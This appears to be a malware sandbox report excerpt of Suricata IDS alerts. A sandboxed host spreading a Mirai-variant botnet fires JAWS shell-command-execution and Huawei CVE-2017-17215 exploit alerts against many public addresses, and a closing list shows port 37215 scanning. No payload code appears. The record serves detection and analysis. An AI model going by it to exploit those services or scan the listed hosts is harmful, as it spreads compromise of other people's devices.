Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49590 -> 157.22.181.36:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49166 -> 207.31.188.4:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49166 -> 207.31.188.4:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58934 -> 156.136.30.83:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57838 -> 197.205.167.250:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38904 -> 189.182.4.61:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51112 -> 154.142.82.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38904 -> 189.182.4.61:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51112 -> 154.142.82.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59332 -> 155.118.130.193:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55200 -> 102.76.177.99:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55200 -> 102.76.177.99:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48552 -> 129.148.53.122:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59332 -> 155.118.130.193:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48552 -> 129.148.53.122:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39834 -> 123.103.236.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39834 -> 123.103.236.184:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56648 -> 209.127.151.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56648 -> 209.127.151.124:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43724 -> 197.102.235.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42506 -> 197.120.156.119:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48718 -> 200.217.174.254:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48718 -> 200.217.174.254:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38640 -> 156.218.59.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41428 -> 41.14.50.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41050 -> 197.159.147.46:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60084 -> 129.211.245.21:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33892 -> 197.127.87.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51316 -> 197.17.103.86:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60084 -> 129.211.245.21:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37358 -> 110.248.91.166:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35862 -> 41.43.153.43:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37358 -> 110.248.91.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56500 -> 39.172.171.102:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56500 -> 39.172.171.102:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60542 -> 41.208.59.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45398 -> 156.209.91.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33562 -> 197.144.147.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54930 -> 156.9.30.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34878 -> 156.191.123.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35912 -> 197.145.151.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54846 -> 156.103.184.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43246 -> 197.141.228.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48328 -> 156.7.85.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52378 -> 197.26.35.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44954 -> 197.133.93.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45482 -> 41.59.198.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47106 -> 41.109.98.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58618 -> 197.118.170.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41560 -> 156.133.251.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42166 -> 197.17.71.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37848 -> 197.103.210.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46944 -> 41.254.131.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42680 -> 41.5.217.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36492 -> 156.102.50.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38814 -> 197.164.229.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42094 -> 41.117.51.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58030 -> 197.112.51.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41958 -> 197.115.32.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34020 -> 197.132.239.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58626 -> 41.34.214.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59774 -> 197.150.122.145:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38532 -> 156.89.14.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33948 -> 197.33.53.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47314 -> 41.220.241.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33108 -> 156.2.213.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43364 -> 41.45.183.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49732 -> 41.127.74.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33752 -> 41.147.45.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44924 -> 197.103.182.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44534 -> 156.69.249.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58368 -> 197.127.1.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51756 -> 41.218.179.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51224 -> 41.235.173.53:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49350 -> 222.56.136.103:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49350 -> 222.56.136.103:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56236 -> 156.61.1.184:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60146 -> 37.167.205.59:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49094 -> 85.167.75.107:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42722 -> 197.225.68.91:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49094 -> 85.167.75.107:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60146 -> 37.167.205.59:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59426 -> 41.101.114.169:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41350 -> 218.240.211.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41350 -> 218.240.211.54:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46794 -> 41.179.220.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60458 -> 156.208.104.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47758 -> 41.234.62.63:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39082 -> 40.206.44.12:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39082 -> 40.206.44.12:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35830 -> 131.251.233.12:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35830 -> 131.251.233.12:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46234 -> 156.126.205.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60202 -> 156.244.187.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39432 -> 156.98.219.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53530 -> 41.204.93.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33256 -> 41.90.157.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37580 -> 197.133.185.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33430 -> 41.99.9.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40592 -> 197.221.96.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40174 -> 156.105.61.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57836 -> 156.13.114.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51728 -> 41.196.239.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33492 -> 156.153.72.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58448 -> 41.206.26.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44030 -> 197.83.152.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36116 -> 156.15.254.233:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56578 -> 46.179.166.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56578 -> 46.179.166.165:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44612 -> 197.214.201.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46742 -> 197.151.72.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35484 -> 156.118.69.166:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46992 -> 122.51.34.245:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46992 -> 122.51.34.245:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56018 -> 197.20.71.88:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34112 -> 27.23.244.93:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34112 -> 27.23.244.93:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40884 -> 156.59.68.15:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45804 -> 141.101.229.14:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38046 -> 197.172.41.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37164 -> 41.233.58.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58910 -> 156.167.104.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52558 -> 41.196.234.206:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45804 -> 141.101.229.14:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43326 -> 223.224.73.203:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43326 -> 223.224.73.203:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50104 -> 41.152.153.123:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60528 -> 102.178.231.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60528 -> 102.178.231.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53306 -> 94.202.68.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52820 -> 129.149.237.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53306 -> 94.202.68.70:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52820 -> 129.149.237.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48330 -> 9.161.88.229:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48330 -> 9.161.88.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47960 -> 93.194.123.76:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47960 -> 93.194.123.76:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55370 -> 222.149.156.59:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55370 -> 222.149.156.59:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41280 -> 178.2.115.55:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34228 -> 135.251.244.249:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39258 -> 59.152.138.207:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52438 -> 84.166.254.51:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34228 -> 135.251.244.249:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50334 -> 152.208.229.121:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.158.230.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.243.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.127.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.179.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.183.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.135.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.30.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.92.152.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.122.68.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.19.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.39.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.203.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.223.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.131.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.165.64.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.49.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.66.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.129.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.176.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.204.250.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.164.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.3.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.52.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.79.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.46.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.147.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.130.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.198.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.209.118.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.133.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.147.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.189.191.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.54.75.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.160.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.36.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.194.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.200.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.116.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.147.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.233.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.217.28.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.206.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.147.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.78.113 ports 1,2,3,5,7,37215
